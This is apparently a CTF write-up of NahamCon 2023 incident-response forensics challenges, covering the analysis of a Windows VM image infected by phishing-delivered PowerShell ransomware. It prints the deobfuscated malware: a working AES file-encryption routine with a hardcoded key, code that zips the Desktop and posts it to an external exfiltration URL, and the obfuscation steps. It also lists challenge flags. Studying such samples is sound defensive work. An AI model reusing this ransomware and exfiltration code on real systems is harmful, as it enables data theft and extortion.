I participated in the NahamCon CTF this weekend, and the team I played with placed 35th! I solved all the challenges in the forensics category, and I'll be posting writeups for some of them, starting with the IR challenges.
First Impressions
All challenges in this challenge group, written by @awesome10billion#1164 (CTFd)
, used the same file for analysis – a 13GB ZIP file containing NahamCon Forensics Challenge.ova
, a VirtualBox VM file.
Archive Utility for some reason expanded the OVA file further into three separate files:
Nahamcon Forensics Challenge
├── Nahamcon Forensics Challenge-disk001.vmdk
├── Nahamcon Forensics Challenge.mf
└── Nahamcon Forensics Challenge.ovf
I set up the VM and tried logging in, but didn't find a password, so I decided to solve these challenges using Autopsy. Now that I've seen other writeups, I know that there was a password. I might have missed the description when importing the VM.
Setup
I started with converting the disk image to a raw
image – a format that Autopsy can read – using qemu-img
. This takes a while to complete.
$ qemu-img convert -O raw -m 16 -p Nahamcon\ Forensics\ Challenge-disk001.vmdk Nahamcon\ Forensics\ Challenge-disk001.raw
The VM was running Windows 10, and there was one user on the system, IEUser
. I imported the raw image in Autopsy and waited for the analysis to complete.
IR #1
[easy, 224 points] Can you find the hidden file on this VM?
The hidden file, Ransom note.txt
, was located in Documents/hidden/directory
, which contains the flag. It can also be found by running strings
on the image.
All of your files have been encrypted. Please reach out via Telegram to awesome10billion for further instructions.
Secret passphrase is flag{053692b87622817f361d8ef27482cc5c}
Flag: flag{053692b87622817f361d8ef27482cc5c}
IR #2
[easy, 402 points] Can you figure out how the malware got onto the system?
I found this while looking for flags through strings
.
$ strings Nahamcon\ Forensics\ Challenge.raw | grep "flag{"
...
<text id="1">nexgeninnovation@outlook.com</text>
<text id="2">Updates to install</text>
<text id="3">Hey there! Here are the requested updates for your computer to keep it secure. Please download the file and run it. If someone is looking for a secret message, here it is --> flag{75f086f265fff161f81874c6e97dee0c}. Regards, IT team</text>
<text placement="attribution">Outlook</text>
Looks like the malware came from an email, a classic phishing attack.
Flag: flag{75f086f265fff161f81874c6e97dee0c}
IR #3
[medium, 388 points] Can you reverse the malware?
The malware, updates.ps1
, was located in the Downloads folder. It's heavily obfuscated.
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
...
I've come across this kind of obfuscation in another challenge before, and there I manually decoded the code. However this script was too long for that, so I tried a tool called PowerDecode.
It worked and returned the following output, Powershell code containing a long string of ASCII characters.
[CHar]36+[CHar]57+[CHar]72+[CHar]118+[CHar]116+[CHar]77+[CHar]70+[CHar]98+[CHar]67+[CHar]50+[CHar]82+[CHar]71+[CHar]74+[CHar]88...|iex
I removed the iex
portion, saved the data to a file and ran it as a script. The output was more PowerShell code, with a huge chunk of reverse base64 data.
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJCKggGdhBFbhJXZ0lGTtASblRXStUmdv1WZSpQD5R2b..." ;
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ;
[array]::Reverse($OaET) ;
-join $OaET 2>&1> $null ;
$biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ;
$ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ;
neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ;
pWN $biPIv9ahScgYwGXl0FyV ;
For the last level of de-obfuscation, I decoded the base64 data. The output is a Powershell script, that encrypts files in the user's Desktop folder, compresses them into a ZIP file and exfiltrates the data to a URL. The challenge flag can be found chilling in the code.
function encryptFiles{
...
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip")
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")
Flag: flag{892a8921517dcecf90685d478aedf5e2}
IR #4
[medium, 382 points] Where is the data being exfiltrated? Please give the MD5 hash of the URL with the usual wrapper of
flag{}
.
The URL is mentioned towards the end of the encryption script, https://www.thepowershellhacker.com/exfiltration
.
The hash is generated using md5sum
. The only catch is to pass the string using echo -n
to avoid appending a newline to the string, as that will produce an incorrect hash.
$ echo flag{$(echo -n https://www.thepowershellhacker.com/exfiltration | md5sum | cut -d ' ' -f 1)}
Fun fact: A team claimed this URL during the CTF and received quite a few encrypted files from those who executed the script (spoiler: no sensitive information found and they deleted the files after). Here's their writeup about it if you'd like to read.
Flag: flag{32c53185c3448169bae4dc894688d564}
IR #5
[medium, 421 points] Can you please recover our files?
The encrypted files were located in the user's Desktop folder, and there were two approaches to recover them:
- The first, which I believe was the intended approach, was to write a script to decrypt the encrypted files. The script would be the reverse of the
encryptFiles()
function from the malware.
function encryptFiles{
Param(
[Parameter(Mandatory=${true}, position=0)]
[string] $baseDirectory
)
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -ne ".enc"){
$DestinationFile = $File.FullName + ".enc"
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.GenerateIV()
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
$Transform = $cipher.CreateEncryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
Remove-Item -LiteralPath $File.FullName
}
}
}
- Autopsy detects and displays deleted files if the bytes haven't been overwritten by other data yet. This was the case for this task, as the original, unencrypted files were visible alongside the encrypted ones. I was able to skip the decryption process and extract the originals directly.
The files were a mix of Word documents, PDF files, text files and Excel sheets.
files
├── Customer data - April 2023.xlsx
├── Customer data - March 2023.xlsx
├── Customer data - May 2023.xlsx
├── GlowSoothe.docx
├── GlowSoothe.pdf
├── NexGen Innovations.docx
├── NexGen Innovations.pdf
├── notes.txt
├── RevitaBlend.docx
├── RevitaBlend.pdf
├── Template for invoice.docx
├── VitaBoost.docx
└── VitaBoost.pdf
There was nothing that visibly stood out in any of the files, so I ran binwalk
to check if something was hidden in them. One of the Word documents, NextGen Innovations.docx
, had a few more files than the others. This is the same company name as the one in the email from IR #2, so that's a nice reference.
$ binwalk NexGen\ Innovations.docx
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 389, uncompressed size: 1965, name: [Content_Types].xml
958 0x3BE Zip archive data, at least v2.0 to extract, compressed size: 239, uncompressed size: 590, name: _rels/.rels
1758 0x6DE Zip archive data, at least v2.0 to extract, compressed size: 303, uncompressed size: 1471, name: word/_rels/document.xml.rels
2383 0x94F Zip archive data, at least v2.0 to extract, compressed size: 2986, uncompressed size: 15626, name: word/document.xml
5416 0x1528 Zip archive data, at least v2.0 to extract, compressed size: 524, uncompressed size: 1901, name: word/footnotes.xml
5988 0x1764 Zip archive data, at least v2.0 to extract, compressed size: 522, uncompressed size: 1895, name: word/endnotes.xml
6557 0x199D Zip archive data, at least v2.0 to extract, compressed size: 581, uncompressed size: 2046, name: word/footer1.xml
7184 0x1C10 Zip archive data, at least v2.0 to extract, compressed size: 531, uncompressed size: 1786, name: word/footer2.xml
7761 0x1E51 Zip archive data, at least v2.0 to extract, compressed size: 1572, uncompressed size: 6799, name: word/theme/theme1.xml
9384 0x24A8 Zip archive data, at least v2.0 to extract, compressed size: 1049, uncompressed size: 2857, name: word/settings.xml
10480 0x28F0 Zip archive data, at least v2.0 to extract, compressed size: 280, uncompressed size: 576, name: word/webSettings.xml
10810 0x2A3A Zip archive data, at least v2.0 to extract, compressed size: 3359, uncompressed size: 32182, name: word/styles.xml
14214 0x3786 Zip archive data, at least v2.0 to extract, compressed size: 481, uncompressed size: 1611, name: word/fontTable.xml
14743 0x3997 Zip archive data, at least v2.0 to extract, compressed size: 376, uncompressed size: 792, name: docProps/core.xml
15430 0x3C46 Zip archive data, at least v2.0 to extract, compressed size: 843, uncompressed size: 5687, name: word/numbering.xml
16321 0x3FC1 Zip archive data, at least v2.0 to extract, compressed size: 480, uncompressed size: 991, name: docProps/app.xml
18131 0x46D3 End of Zip archive, footer length: 22
A Word document is essentially a ZIP archive of XML files, that describe the structure of the document. So I extracted the XML files using unzip
, and found the flag in word/footer1.xml
.
<w:r w:rsidRPr="00804956">
<w:rPr>
<w:rFonts w:ascii="Trebuchet MS" w:hAnsi="Trebuchet MS"/>
<w:sz w:val="2"/>
<w:szCs w:val="2"/>
</w:rPr>
<w:t>flag{</w:t>
</w:r>
<w:proofErr w:type="gramEnd"/>
<w:r w:rsidRPr="00804956">
<w:rPr>
<w:rFonts w:ascii="Trebuchet MS" w:hAnsi="Trebuchet MS"/>
<w:sz w:val="2"/>
<w:szCs w:val="2"/>
</w:rPr>
<w:t>593f1527d6b3b9e7da9bdc431772d32f}</w:t>
</w:r>
Flag: flag{593f1527d6b3b9e7da9bdc431772d32f}
More writeups from NahamCon CTF 2023